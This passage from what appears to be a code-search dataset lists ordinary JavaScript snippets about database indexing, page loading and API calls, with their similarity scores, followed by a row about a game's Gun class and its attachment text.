cursorRequest.onsuccess = function(e) {\\n var result = e.target.result;\\n if (!!result == false) { return; }\\n returnableItems.push(result.value);\\n result.continue();\\n };\\n cursorRequest.onerror = function() { console.error(\\\"error\\\"); };\\n }\",\n \"load() {\\n return Promise.resolve(false /* identified */);\\n }\",\n \"list() {\\n return this.ready.then(db => {\\n const transaction = db.transaction([STORE_NAME], 'readonly');\\n const store = transaction.objectStore(STORE_NAME);\\n const request = store.index('store').getAll(IDBKeyRange.only(this.name));\\n return waitForRequest(request);\\n }).then(files => {\\n const result = {};\\n files.forEach(file => {\\n result[file.fileID] = file.data;\\n });\\n return result;\\n });\\n }\",\n \"getBlockByIndex() {\\n this.server.route({\\n method: 'GET',\\n path: '/block/{index}',\\n handler: (request, h) => {\\n return new Promise ((resolve,reject) => {\\n const blockIndex = request.params.index ?\\n encodeURIComponent(request.params.index) : -1;\\n if (isNaN(blockIndex)) { \\n reject(Boom.badRequest());\\n } else {\\n this.blockChain.getBlockHeight().then((chainHeight)=>{\\n if (blockIndex <=chainHeight && blockIndex >-1)\\n {\\n this.blockChain.getBlock(blockIndex).then ((newBlock)=>{\\n resolve(JSON.stringify(newBlock));\\n });\\n } else {\\n reject(Boom.badRequest());\\n }\\n });\\n }\\n });\\n }\\n });\\n }\",\n \"function loadIndexes() {\\n // Get search indexes.\\n dataService.fetch('get', '/api/admin/indexes').then(\\n function (data) {\\n $scope.activeIndexes = data;\\n // Get mappings configuration.\\n dataService.fetch('get', '/api/admin/mappings').then(\\n function (mappings) {\\n // Reset the scopes variables for mappings.\\n $scope.activeMappings = {};\\n $scope.inActiveMappings = {};\\n\\n // Filter out active indexes.\\n for (var index in mappings) {\\n if (!$scope.activeIndexes.hasOwnProperty(index)) {\\n $scope.inActiveMappings[index] = mappings[index];\\n }\\n else {\\n $scope.activeMappings[index] = mappings[index];\\n }\\n }\\n },\\n function (reason) {\\n $scope.message = reason.message;\\n $scope.messageClass = 'alert-danger';\\n }\\n );\\n },\\n function (reason) {\\n $scope.message = reason.message;\\n $scope.messageClass = 'alert-danger';\\n }\\n );\\n }\",\n \"function reference(index) {\\n return loadInternal(index, contextViewData);\\n}\",\n \"async getBlock(index) {\\r\\n // return Block as a JSON object\\r\\n return JSON.parse(await getDBData(index))\\r\\n }\",\n \"function createNewPromise(callback, id, index) {\\n return new Promise((resolve, reject) => {\\n callback(resolve, reject, id, index);\\n });\\n}\",\n \"static getFromIndexedDB(name, version, objStore, callback){\\n\\t\\tDBHelper.openIndexedDB(name, version).then(function(db) {\\n\\t\\t\\tlet tx = db.transaction(objStore);\\n\\t\\t\\tlet store = tx.objectStore(objStore);\\n\\n\\t\\t\\treturn store.getAll().then((response) => {\\n\\t\\t\\t\\tif(response.length) {\\n\\t\\t\\t\\t\\tcallback(null, response);\\n\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\tcallback('There is no records in IndexedDB', null);\\n\\t\\t\\t\\t}\\n\\t\\t\\t});\\n\\t\\t});\\n\\t}\",\n \"function ɵɵload(index) {\\n return loadInternal(getLView(), index);\\n}\",\n \"fetch() {\\r\\n return new Promise((resolve, reject) => {\\r\\n const t = time.measure.start()\\r\\n this.docClient.scan({ TableName: this.table }, (err, data) => {\\r\\n time.measure.end(t, `Fetch (scan) from table ${this.table}`)\\r\\n if (err) {\\r\\n reject(err)\\r\\n } else {\\r\\n resolve(data.Items)\\r\\n }\\r\\n })\\r\\n })\\r\\n }\",\n \"getBlockByIndex() {\\n this.server.route({\\n method: 'GET',\\n path: '/block/{index}',\\n handler: async (request, h) => {\\n let blockIndex = parseInt(request.params.index);\\n const result = await this.blockchain.getBlock(blockIndex);\\n return result.statusCode !== undefined ? result : await this.blockchain.addDecodedStoryToReturnObj(JSON.stringify(result).toString());\\n }\\n });\\n }\",\n \"getInitialIndexes() {\\n this.setState({\\n initialLoading: true,\\n initialLoadText: 'índices...',\\n loadError: false\\n });\\n this.subscribe(\\n TimeseriesService.list({template_category: 'emac-index', max_events: 1}),\\n data => {\\n this.setState(state => ({\\n indexes: data,\\n tableData: generateTableData(Object.values(state.targets), data, state.tickets, availability),\\n initialLoading: false,\\n lastUpdate: moment().format(config.DATETIME_FORMAT)\\n }));\\n this.setDataUpdate();\\n },\\n (err) => this.setState({loadError: true, initialLoading: false})\\n );\\n }\",\n \"async index () {\\n return await Operator.all()\\n }\",\n \"function loadFromIndex(storeName, indexName, innerFunction, callback) {\\n var cursor = db.transaction([storeName], 'readonly').objectStore(storeName).index(indexName).openCursor();\\n \\n cursor.onsuccess = function(event) {\\n var result = this.result;\\n if (result) {\\n innerFunction(result);\\n result.continue();\\n }\\n else {\\n callback();\\n }\\n };\\n \\n }\",\n \"loadPage(rawPath) {\\n const pagePath = (0,_find_path__WEBPACK_IMPORTED_MODULE_2__.findPath)(rawPath);\\n\\n if (this.pageDb.has(pagePath)) {\\n const page = this.pageDb.get(pagePath);\\n\\n if (true) {\\n return Promise.resolve(page.payload);\\n }\\n }\\n\\n if (this.inFlightDb.has(pagePath)) {\\n return this.inFlightDb.get(pagePath);\\n }\\n\\n const inFlightPromise = Promise.all([this.loadAppData(), this.loadPageDataJson(pagePath)]).then(allData => {\\n const result = allData[1];\\n\\n if (result.status === PageResourceStatus.Error) {\\n return {\\n status: PageResourceStatus.Error\\n };\\n }\\n\\n let pageData = result.payload;\\n const {\\n componentChunkName,\\n staticQueryHashes = []\\n } = pageData;\\n const finalResult = {};\\n const componentChunkPromise = this.loadComponent(componentChunkName).then(component => {\\n finalResult.createdAt = new Date();\\n let pageResources;\\n\\n if (!component) {\\n finalResult.status = PageResourceStatus.Error;\\n } else {\\n finalResult.status = PageResourceStatus.Success;\\n\\n if (result.notFound === true) {\\n finalResult.notFound = true;\\n }\\n\\n pageData = Object.assign(pageData, {\\n webpackCompilationHash: allData[0] ? allData[0].webpackCompilationHash : ``\\n });\\n pageResources = toPageResources(pageData, component);\\n } // undefined if final result is an error\\n\\n\\n return pageResources;\\n });\\n const staticQueryBatchPromise = Promise.all(staticQueryHashes.map(staticQueryHash => {\\n // Check for cache in case this static query result has already been loaded\\n if (this.staticQueryDb[staticQueryHash]) {\\n const jsonPayload = this.staticQueryDb[staticQueryHash];\\n return {\\n staticQueryHash,\\n jsonPayload\\n };\\n }\\n\\n return this.memoizedGet(`${\\\"\\\"}/page-data/sq/d/${staticQueryHash}.json`).then(req => {\\n const jsonPayload = JSON.parse(req.responseText);\\n return {\\n staticQueryHash,\\n jsonPayload\\n };\\n });\\n })).then(staticQueryResults => {\\n const staticQueryResultsMap = {};\\n staticQueryResults.forEach(({\\n staticQueryHash,\\n jsonPayload\\n }) => {\\n staticQueryResultsMap[staticQueryHash] = jsonPayload;\\n this.staticQueryDb[staticQueryHash] = jsonPayload;\\n });\\n return staticQueryResultsMap;\\n });\\n return Promise.all([componentChunkPromise, staticQueryBatchPromise]).then(([pageResources, staticQueryResults]) => {\\n let payload;\\n\\n if (pageResources) {\\n payload = { ...pageResources,\\n staticQueryResults\\n };\\n finalResult.payload = payload;\\n _emitter__WEBPACK_IMPORTED_MODULE_1__.default.emit(`onPostLoadPageResources`, {\\n page: payload,\\n pageResources: payload\\n });\\n }\\n\\n this.pageDb.set(pagePath, finalResult);\\n return payload;\\n });\\n });\\n inFlightPromise.then(response => {\\n this.inFlightDb.delete(pagePath);\\n }).catch(error => {\\n this.inFlightDb.delete(pagePath);\\n throw error;\\n });\\n this.inFlightDb.set(pagePath, inFlightPromise);\\n return inFlightPromise;\\n }\",\n \"loadPage(rawPath) {\\n const pagePath = (0,_find_path__WEBPACK_IMPORTED_MODULE_2__.findPath)(rawPath);\\n\\n if (this.pageDb.has(pagePath)) {\\n const page = this.pageDb.get(pagePath);\\n\\n if (true) {\\n return Promise.resolve(page.payload);\\n }\\n }\\n\\n if (this.inFlightDb.has(pagePath)) {\\n return this.inFlightDb.get(pagePath);\\n }\\n\\n const inFlightPromise = Promise.all([this.loadAppData(), this.loadPageDataJson(pagePath)]).then(allData => {\\n const result = allData[1];\\n\\n if (result.status === PageResourceStatus.Error) {\\n return {\\n status: PageResourceStatus.Error\\n };\\n }\\n\\n let pageData = result.payload;\\n const {\\n componentChunkName,\\n staticQueryHashes = []\\n } = pageData;\\n const finalResult = {};\\n const componentChunkPromise = this.loadComponent(componentChunkName).then(component => {\\n finalResult.createdAt = new Date();\\n let pageResources;\\n\\n if (!component) {\\n finalResult.status = PageResourceStatus.Error;\\n } else {\\n finalResult.status = PageResourceStatus.Success;\\n\\n if (result.notFound === true) {\\n finalResult.notFound = true;\\n }\\n\\n pageData = Object.assign(pageData, {\\n webpackCompilationHash: allData[0] ? allData[0].webpackCompilationHash : ``\\n });\\n pageResources = toPageResources(pageData, component);\\n } // undefined if final result is an error\\n\\n\\n return pageResources;\\n });\\n const staticQueryBatchPromise = Promise.all(staticQueryHashes.map(staticQueryHash => {\\n // Check for cache in case this static query result has already been loaded\\n if (this.staticQueryDb[staticQueryHash]) {\\n const jsonPayload = this.staticQueryDb[staticQueryHash];\\n return {\\n staticQueryHash,\\n jsonPayload\\n };\\n }\\n\\n return this.memoizedGet(`${\\\"\\\"}/page-data/sq/d/${staticQueryHash}.json`).then(req => {\\n const jsonPayload = JSON.parse(req.responseText);\\n return {\\n staticQueryHash,\\n jsonPayload\\n };\\n });\\n })).then(staticQueryResults => {\\n const staticQueryResultsMap = {};\\n staticQueryResults.forEach(({\\n staticQueryHash,\\n jsonPayload\\n }) => {\\n staticQueryResultsMap[staticQueryHash] = jsonPayload;\\n this.staticQueryDb[staticQueryHash] = jsonPayload;\\n });\\n return staticQueryResultsMap;\\n });\\n return Promise.all([componentChunkPromise, staticQueryBatchPromise]).then(([pageResources, staticQueryResults]) => {\\n let payload;\\n\\n if (pageResources) {\\n payload = { ...pageResources,\\n staticQueryResults\\n };\\n finalResult.payload = payload;\\n _emitter__WEBPACK_IMPORTED_MODULE_1__.default.emit(`onPostLoadPageResources`, {\\n page: payload,\\n pageResources: payload\\n });\\n }\\n\\n this.pageDb.set(pagePath, finalResult);\\n return payload;\\n });\\n });\\n inFlightPromise.then(response => {\\n this.inFlightDb.delete(pagePath);\\n }).catch(error => {\\n this.inFlightDb.delete(pagePath);\\n throw error;\\n });\\n this.inFlightDb.set(pagePath, inFlightPromise);\\n return inFlightPromise;\\n }\",\n \"async index () {\\n const deposito = await Deposito.all();\\n return deposito;\\n }\",\n \"loadPage(rawPath) {\\n const pagePath = Object(_find_path__WEBPACK_IMPORTED_MODULE_3__[\\\"findPath\\\"])(rawPath);\\n\\n if (this.pageDb.has(pagePath)) {\\n const page = this.pageDb.get(pagePath);\\n\\n if (true) {\\n return Promise.resolve(page.payload);\\n }\\n }\\n\\n if (this.inFlightDb.has(pagePath)) {\\n return this.inFlightDb.get(pagePath);\\n }\\n\\n const inFlightPromise = Promise.all([this.loadAppData(), this.loadPageDataJson(pagePath)]).then(allData => {\\n const result = allData[1];\\n\\n if (result.status === PageResourceStatus.Error) {\\n return {\\n status: PageResourceStatus.Error\\n };\\n }\\n\\n let pageData = result.payload;\\n const {\\n componentChunkName,\\n staticQueryHashes = []\\n } = pageData;\\n const finalResult = {};\\n const componentChunkPromise = this.loadComponent(componentChunkName).then(component => {\\n finalResult.createdAt = new Date();\\n let pageResources;\\n\\n if (!component) {\\n finalResult.status = PageResourceStatus.Error;\\n } else {\\n finalResult.status = PageResourceStatus.Success;\\n\\n if (result.notFound === true) {\\n finalResult.notFound = true;\\n }\\n\\n pageData = Object.assign(pageData, {\\n webpackCompilationHash: allData[0] ? allData[0].webpackCompilationHash : ``\\n });\\n pageResources = toPageResources(pageData, component);\\n } // undefined if final result is an error\\n\\n\\n return pageResources;\\n });\\n const staticQueryBatchPromise = Promise.all(staticQueryHashes.map(staticQueryHash => {\\n // Check for cache in case this static query result has already been loaded\\n if (this.staticQueryDb[staticQueryHash]) {\\n const jsonPayload = this.staticQueryDb[staticQueryHash];\\n return {\\n staticQueryHash,\\n jsonPayload\\n };\\n }\\n\\n return this.memoizedGet(`${\\\"\\\"}/page-data/sq/d/${staticQueryHash}.json`).then(req => {\\n const jsonPayload = JSON.parse(req.responseText);\\n return {\\n staticQueryHash,\\n jsonPayload\\n };\\n });\\n })).then(staticQueryResults => {\\n const staticQueryResultsMap = {};\\n staticQueryResults.forEach(({\\n staticQueryHash,\\n jsonPayload\\n }) => {\\n staticQueryResultsMap[staticQueryHash] = jsonPayload;\\n this.staticQueryDb[staticQueryHash] = jsonPayload;\\n });\\n return staticQueryResultsMap;\\n });\\n return Promise.all([componentChunkPromise, staticQueryBatchPromise]).then(([pageResources, staticQueryResults]) => {\\n let payload;\\n\\n if (pageResources) {\\n payload = _objectSpread(_objectSpread({}, pageResources), {}, {\\n staticQueryResults\\n });\\n finalResult.payload = payload;\\n _emitter__WEBPACK_IMPORTED_MODULE_2__[\\\"default\\\"].emit(`onPostLoadPageResources`, {\\n page: payload,\\n pageResources: payload\\n });\\n }\\n\\n this.pageDb.set(pagePath, finalResult);\\n return payload;\\n });\\n });\\n inFlightPromise.then(response => {\\n this.inFlightDb.delete(pagePath);\\n }).catch(error => {\\n this.inFlightDb.delete(pagePath);\\n throw error;\\n });\\n this.inFlightDb.set(pagePath, inFlightPromise);\\n return inFlightPromise;\\n }\",\n \"async function initIndex() {\\n await initThemes()\\n fetchAlbumsImgur()\\n M.updateTextFields();\\n}\",\n \"async index () {\\n const atividade = await AtividadeDoDia.all();\\n return atividade;\\n }\",\n \"async function run () {\\n const escenicArticles = await getEscenicArticles(client, elascticsearchSourceIndexParams).catch(console.log)\\n const transformedArticles = transformEscenicArticle(escenicArticles)\\n transformedArticles\\n .map(article => createUrlNavIdMapping(article))\\n // await bulkIndex(transformedArticles)\\n}\",\n \"function fetchDocAsynchronously(metadata, row, winningRev$$1) {\\n var key = metadata.id + \\\"::\\\" + winningRev$$1;\\n docIdRevIndex.get(key).onsuccess = function onGetDoc(e) {\\n row.doc = decodeDoc(e.target.result);\\n if (opts.conflicts) {\\n var conflicts = collectConflicts(metadata);\\n if (conflicts.length) {\\n row.doc._conflicts = conflicts;\\n }\\n }\\n fetchAttachmentsIfNecessary(row.doc, opts, txn);\\n };\\n }\",\n \"function fetchDocAsynchronously(metadata, row, winningRev$$1) {\\n var key = metadata.id + \\\"::\\\" + winningRev$$1;\\n docIdRevIndex.get(key).onsuccess = function onGetDoc(e) {\\n row.doc = decodeDoc(e.target.result);\\n if (opts.conflicts) {\\n var conflicts = collectConflicts(metadata);\\n if (conflicts.length) {\\n row.doc._conflicts = conflicts;\\n }\\n }\\n fetchAttachmentsIfNecessary(row.doc, opts, txn);\\n };\\n }\",\n \"function fetchDocAsynchronously(metadata, row, winningRev$$1) {\\n var key = metadata.id + \\\"::\\\" + winningRev$$1;\\n docIdRevIndex.get(key).onsuccess = function onGetDoc(e) {\\n row.doc = decodeDoc(e.target.result);\\n if (opts.conflicts) {\\n var conflicts = collectConflicts(metadata);\\n if (conflicts.length) {\\n row.doc._conflicts = conflicts;\\n }\\n }\\n fetchAttachmentsIfNecessary(row.doc, opts, txn);\\n };\\n }\",\n \"function fetchDocAsynchronously(metadata, row, winningRev$$1) {\\n var key = metadata.id + \\\"::\\\" + winningRev$$1;\\n docIdRevIndex.get(key).onsuccess = function onGetDoc(e) {\\n row.doc = decodeDoc(e.target.result);\\n if (opts.conflicts) {\\n var conflicts = collectConflicts(metadata);\\n if (conflicts.length) {\\n row.doc._conflicts = conflicts;\\n }\\n }\\n fetchAttachmentsIfNecessary(row.doc, opts, txn);\\n };\\n }\",\n \"getAllByIndex(storeName, indexName, keyRange) {\\n const data = [];\\n return from(new Promise((resolve, reject) => {\\n openDatabase(this.indexedDB, this.dbConfig.name, this.dbConfig.version)\\n .then((db) => {\\n validateBeforeTransaction(db, storeName, reject);\\n const transaction = createTransaction(db, optionsGenerator(DBMode.readonly, storeName, reject, resolve));\\n const objectStore = transaction.objectStore(storeName);\\n const index = objectStore.index(indexName);\\n const request = index.openCursor(keyRange);\\n request.onsuccess = (event) => {\\n const cursor = event.target.result;\\n if (cursor) {\\n data.push(cursor.value);\\n cursor.continue();\\n }\\n else {\\n resolve(data);\\n }\\n };\\n })\\n .catch((reason) => reject(reason));\\n }));\\n }\",\n \"function index_esm_async(fn, onError) {\\n return function () {\\n var args = [];\\n for (var _i = 0; _i < arguments.length; _i++) {\\n args[_i] = arguments[_i];\\n }\\n Promise.resolve(true).then(function () {\\n fn.apply(void 0, args);\\n }).catch(function (error) {\\n if (onError) {\\n onError(error);\\n }\\n });\\n };\\n}\",\n \"function fetchDocAsynchronously(metadata, row, winningRev$$1) {\\n var key = metadata.id + \\\"::\\\" + winningRev$$1;\\n docIdRevIndex.get(key).onsuccess = function onGetDoc(e) {\\n row.doc = decodeDoc(e.target.result) || {};\\n if (opts.conflicts) {\\n var conflicts = collectConflicts(metadata);\\n if (conflicts.length) {\\n row.doc._conflicts = conflicts;\\n }\\n }\\n fetchAttachmentsIfNecessary(row.doc, opts, txn);\\n };\\n }\",\n \"constructor(core, baseURL = \\\"/ext/index/X/tx\\\") {\\n super(core, baseURL);\\n /**\\n * Get last accepted tx, vtx or block\\n *\\n * @param encoding\\n * @param baseURL\\n *\\n * @returns Returns a Promise.\\n */\\n this.getLastAccepted = (encoding = \\\"cb58\\\", baseURL = this.getBaseURL()) => __awaiter(this, void 0, void 0, function* () {\\n this.setBaseURL(baseURL);\\n const params = {\\n encoding\\n };\\n try {\\n const response = yield this.callMethod(\\\"index.getLastAccepted\\\", params);\\n return response.data.result;\\n }\\n catch (error) {\\n console.log(error);\\n }\\n });\\n /**\\n * Get container by index\\n *\\n * @param index\\n * @param encoding\\n * @param baseURL\\n *\\n * @returns Returns a Promise.\\n */\\n this.getContainerByIndex = (index = \\\"0\\\", encoding = \\\"cb58\\\", baseURL = this.getBaseURL()) => __awaiter(this, void 0, void 0, function* () {\\n this.setBaseURL(baseURL);\\n const params = {\\n index,\\n encoding\\n };\\n try {\\n const response = yield this.callMethod(\\\"index.getContainerByIndex\\\", params);\\n return response.data.result;\\n }\\n catch (error) {\\n console.log(error);\\n }\\n });\\n /**\\n * Get contrainer by ID\\n *\\n * @param containerID\\n * @param encoding\\n * @param baseURL\\n *\\n * @returns Returns a Promise.\\n */\\n this.getContainerByID = (containerID = \\\"0\\\", encoding = \\\"cb58\\\", baseURL = this.getBaseURL()) => __awaiter(this, void 0, void 0, function* () {\\n this.setBaseURL(baseURL);\\n const params = {\\n containerID,\\n encoding\\n };\\n try {\\n const response = yield this.callMethod(\\\"index.getContainerByID\\\", params);\\n return response.data.result;\\n }\\n catch (error) {\\n console.log(error);\\n }\\n });\\n /**\\n * Get container range\\n *\\n * @param startIndex\\n * @param numToFetch\\n * @param encoding\\n * @param baseURL\\n *\\n * @returns Returns a Promise.\\n */\\n this.getContainerRange = (startIndex = 0, numToFetch = 100, encoding = \\\"cb58\\\", baseURL = this.getBaseURL()) => __awaiter(this, void 0, void 0, function* () {\\n this.setBaseURL(baseURL);\\n const params = {\\n startIndex,\\n numToFetch,\\n encoding\\n };\\n try {\\n const response = yield this.callMethod(\\\"index.getContainerRange\\\", params);\\n return response.data.result;\\n }\\n catch (error) {\\n console.log(error);\\n }\\n });\\n /**\\n * Get index by containerID\\n *\\n * @param containerID\\n * @param encoding\\n * @param baseURL\\n *\\n * @returns Returns a Promise.\\n */\\n this.getIndex = (containerID = \\\"\\\", encoding = \\\"cb58\\\", baseURL = this.getBaseURL()) => __awaiter(this, void 0, void 0, function* () {\\n this.setBaseURL(baseURL);\\n const params = {\\n containerID,\\n encoding\\n };\\n try {\\n const response = yield this.callMethod(\\\"index.getIndex\\\", params);\\n return response.data.result.index;\\n }\\n catch (error) {\\n console.log(error);\\n }\\n });\\n /**\\n * Check if container is accepted\\n *\\n * @param containerID\\n * @param encoding\\n * @param baseURL\\n *\\n * @returns Returns a Promise.\\n */\\n this.isAccepted = (containerID = \\\"\\\", encoding = \\\"cb58\\\", baseURL = this.getBaseURL()) => __awaiter(this, void 0, void 0, function* () {\\n this.setBaseURL(baseURL);\\n const params = {\\n containerID,\\n encoding\\n };\\n try {\\n const response = yield this.callMethod(\\\"index.isAccepted\\\", params);\\n return response.data.result;\\n }\\n catch (error) {\\n console.log(error);\\n }\\n });\\n }\",\n \"function load_model(index){\\n if(index >= self.models.length){\\n loaded.resolve();\\n }else{\\n var model = self.models[index];\\n self.pos_widget.loading_message(_t('Loading')+' '+(model.label || model.model || ''), progress);\\n var fields = typeof model.fields === 'function' ? model.fields(self,tmp) : model.fields;\\n var domain = typeof model.domain === 'function' ? model.domain(self,tmp) : model.domain;\\n var context = typeof model.context === 'function' ? model.context(self,tmp) : model.context;\\n var ids = typeof model.ids === 'function' ? model.ids(self,tmp) : model.ids;\\n progress += progress_step;\\n\\n if( model.model ){\\n if (model.ids) {\\n var records = new instance.web.Model(model.model).call('read',[ids,fields],context);\\n } else {\\n var records = new instance.web.Model(model.model).query(fields).filter(domain).context(context).all()\\n }\\n records.then(function(result){\\n try{ // catching exceptions in model.loaded(...)\\n\\n result_filtered = []\\n if(model.model == \\\"product.product\\\")\\n {\\n for(var i = 0; i < result.length; i++)\\n {\\n //Filtrando los productos que tengan stock >0, que no tengan una compañia\\n //o que tengan una compañia asignada y coincida con la que tiene configurada el\\n //punto de venta\\n if(result[i].stock_qty > 0 && (result[i].company_id == false || (result[i].company_id != false && result[i].company_id[0] == self.config.company_id[0])))\\n {\\n result_filtered.push(result[i]);\\n }\\n }\\n result = result_filtered;\\n }\\n\\n $.when(model.loaded(self,result,tmp))\\n .then(function(){ load_model(index + 1); },\\n function(err){ loaded.reject(err); });\\n }catch(err){\\n loaded.reject(err);\\n }\\n },function(err){\\n loaded.reject(err);\\n });\\n }else if( model.loaded ){\\n try{ // catching exceptions in model.loaded(...)\\n $.when(model.loaded(self,tmp))\\n .then( function(){ load_model(index +1); },\\n function(err){ loaded.reject(err); });\\n }catch(err){\\n loaded.reject(err);\\n }\\n }else{\\n load_model(index + 1);\\n }\\n }\\n }\"\n]"},"negative_scores":{"kind":"list like","value":["0.70689124","0.6799907","0.6459076","0.64186","0.6398918","0.6349781","0.62687784","0.62290114","0.6192579","0.6090689","0.60649323","0.60526985","0.6047419","0.60411704","0.6028308","0.6021699","0.60055244","0.5975181","0.59711975","0.5960433","0.59251773","0.5924601","0.5914405","0.589476","0.58265656","0.5819227","0.5814982","0.58119315","0.57929933","0.5787757","0.5718783","0.5714132","0.5705826","0.57014626","0.56750166","0.56750166","0.5671128","0.56681","0.5637177","0.5609277","0.56085664","0.55957437","0.5586686","0.55646867","0.55642456","0.5556605","0.555313","0.5540329","0.55356765","0.55341953","0.55123407","0.5510772","0.5500237","0.5496024","0.54837537","0.54831994","0.54769605","0.5453688","0.5441287","0.5438654","0.54350406","0.54262793","0.542575","0.5413852","0.54063386","0.5392346","0.5387349","0.53838104","0.53789485","0.537301","0.53658503","0.53520155","0.53439146","0.5334698","0.53222424","0.5315072","0.530383","0.53028625","0.52970886","0.5294206","0.5285951","0.52737993","0.527296","0.52698225","0.52550966","0.52550966","0.52510047","0.5249351","0.5245122","0.5237378","0.5235755","0.523273","0.523273","0.523273","0.523273","0.52324253","0.52306527","0.5224917","0.52231497","0.5220224"],"string":"[\n \"0.70689124\",\n \"0.6799907\",\n \"0.6459076\",\n \"0.64186\",\n \"0.6398918\",\n \"0.6349781\",\n \"0.62687784\",\n \"0.62290114\",\n \"0.6192579\",\n \"0.6090689\",\n \"0.60649323\",\n \"0.60526985\",\n \"0.6047419\",\n \"0.60411704\",\n \"0.6028308\",\n \"0.6021699\",\n \"0.60055244\",\n \"0.5975181\",\n \"0.59711975\",\n \"0.5960433\",\n \"0.59251773\",\n \"0.5924601\",\n \"0.5914405\",\n \"0.589476\",\n \"0.58265656\",\n \"0.5819227\",\n \"0.5814982\",\n \"0.58119315\",\n \"0.57929933\",\n \"0.5787757\",\n \"0.5718783\",\n \"0.5714132\",\n \"0.5705826\",\n \"0.57014626\",\n \"0.56750166\",\n \"0.56750166\",\n \"0.5671128\",\n \"0.56681\",\n \"0.5637177\",\n \"0.5609277\",\n \"0.56085664\",\n \"0.55957437\",\n \"0.5586686\",\n \"0.55646867\",\n \"0.55642456\",\n \"0.5556605\",\n \"0.555313\",\n \"0.5540329\",\n \"0.55356765\",\n \"0.55341953\",\n \"0.55123407\",\n \"0.5510772\",\n \"0.5500237\",\n \"0.5496024\",\n \"0.54837537\",\n \"0.54831994\",\n \"0.54769605\",\n \"0.5453688\",\n \"0.5441287\",\n \"0.5438654\",\n \"0.54350406\",\n \"0.54262793\",\n \"0.542575\",\n \"0.5413852\",\n \"0.54063386\",\n \"0.5392346\",\n \"0.5387349\",\n \"0.53838104\",\n \"0.53789485\",\n \"0.537301\",\n \"0.53658503\",\n \"0.53520155\",\n \"0.53439146\",\n \"0.5334698\",\n \"0.53222424\",\n \"0.5315072\",\n \"0.530383\",\n \"0.53028625\",\n \"0.52970886\",\n \"0.5294206\",\n \"0.5285951\",\n \"0.52737993\",\n \"0.527296\",\n \"0.52698225\",\n \"0.52550966\",\n \"0.52550966\",\n \"0.52510047\",\n \"0.5249351\",\n \"0.5245122\",\n \"0.5237378\",\n \"0.5235755\",\n \"0.523273\",\n \"0.523273\",\n \"0.523273\",\n \"0.523273\",\n \"0.52324253\",\n \"0.52306527\",\n \"0.5224917\",\n \"0.52231497\",\n \"0.5220224\"\n]"},"document_score":{"kind":"string","value":"0.7352213"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":75,"cells":{"query":{"kind":"string","value":"A class to define how a fighter behaves. Gun constructor Sets the properties with the provided arguments"},"document":{"kind":"string","value":"function Gun(x, y, size) {\n this.x = x;\n this.y = y;\n this.size = size;\n this.angle;\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["function Gun(descr) {\n\n // Common inherited setup logic from Entity\n this.setup(descr);\n\n this.rememberResets();\n\t\n\tthis.tower = g_sprites.tower;\n this.diamond = g_sprites.diamond;\n\t\n\tthis.towerHeight = this.tower.height;\n\tthis.towerWidth = this.tower.width;\n\t\n // Set normal drawing scale, and warp state off\n this._scale = 0;\n\n this.cooldown = this.getCooldown();\n}","function Gun() {\n ( function init( self )\n {\n self.bulletCountMax = 30;\n self.timeBetweenBullet = 100;\n self.timeReload = 2500;\n\n // State: 0: Can fire, 1: cooldown between bullets, 2: reloading\n self.state = 0;\n self.bulletCount = self.bulletCountMax;\n self.timeSinceLastBullet = 0;\n self.timeSinceReload = 0;\n\n self.animationTime = 0;\n } ) ( this );\n}","function Gun(name, type, range, auto, db, magSize, maxMagSize, ammoType, bullet, melee) {\r\n // Properties\r\n // Basic properties\r\n this.name = name;\r\n this.type = type;\r\n this.range = range;\r\n this.isFullAuto = auto;\r\n this.noise = db;\r\n this.magSize = magSize;\r\n\tthis.maxMagSize = maxMagSize;\r\n this.ammoType = ammoType;\r\n this.bulletDamage = bullet;\r\n this.meleeValue = melee;\r\n\r\n // Secondary fire mode properties\r\n this.secondaryFire = false;\r\n this.secondaryFireAmmo = null;\r\n\tthis.secondaryFiremaxMag = null;\r\n\tthis.secondaryDamage = null;\r\n\tthis.ammoSecondaryType = null;\r\n\r\n // Modifiers\r\n this.rangeModifier = 0;\r\n this.scopeAttached = false;\r\n\tthis.magAttached = false;\r\n\tthis.silencerAttached = false;\r\n\tthis.bayonetAttached = false;\r\n this.noiseModifier = 0;\r\n this.magModifier = null;\r\n this.damageModifier = 0;\r\n this.accuracyModifier = 0;\r\n this.meleeValueModifier = 0;\r\n\r\n // Methods\r\n /*\r\n\tNOTES:\r\n\tMoved the methods to here instead of gun.prototype because we do not want to modify the object that the gun extends... which is the Object object.\r\n\tMeaning that, before, *all* objects had a SprayAndPray method.\r\n\tHowever, if you make a new object that derives from gun, you can use myObject.prototype.myMethod to add myMethod to the gun object.\r\n */\r\n\r\n /*\r\n\tAdds an attachment to the gun\r\n\tattachment - string - name of attachment to apply\r\n */\r\n this.addAttachment = function(attachment) {\r\n\tvar output = \"\";\r\n\r\n\tswitch(attachment) {\r\n\t case \"GP-30 grenade launcher\":\r\n\t\tif (this.type === \"russian assault rifle\") {\r\n\t\t this.secondaryFire = true;\r\n\t\t this.secondaryFireAmmo = 1;\r\n\t\t\tthis.secondaryFiremaxMag = 1;\r\n\t\t\tthis.secondaryDamage = 300;\r\n\t\t\tthis.ammoSecondaryType = \"grenades\";\r\n\t\t\tdocument.getElementById(\"grenadeLauncherAttachment\").innerHTML = \"\";\r\n\t\t output = \"

                    The GP-30 grenade launcher slides onto the rails under your \"+ this.name +\". The smell of gun grease and sweat wafts up from the heat that radiates off of the ground and into your nostrils as a sickly sweet aroma. You grin slightly, cocking the weapon to the side to admire your handiwork and slide a grenade into your newly attached piece of hardware. It is now ready to fire. Click the grenade icon in the secondary fire pane, and then on the target you wish to attack!

                    \";\r\n\t\t} else {\r\n\t\t output = \"

                    You can only use this attachment with a russian-made assault rifle.

                    \";\r\n\t\t}\r\n\t break;\r\n\r\n\t case \"Red dot sight\":\r\n\t\tthis.rangeModifier = 20;\r\n\t\tthis.scopeAttached = true;\r\n\t\tdocument.getElementById(\"scopeAttachment\").innerHTML = \"\";\r\n\t\toutput = \"

                    Your red dot sight slides into position with a slight *click*. You check your sights and make the necessary adjustments. Good to go. You now have a \" + this.rangeModifier + \" point accuracy bonus.

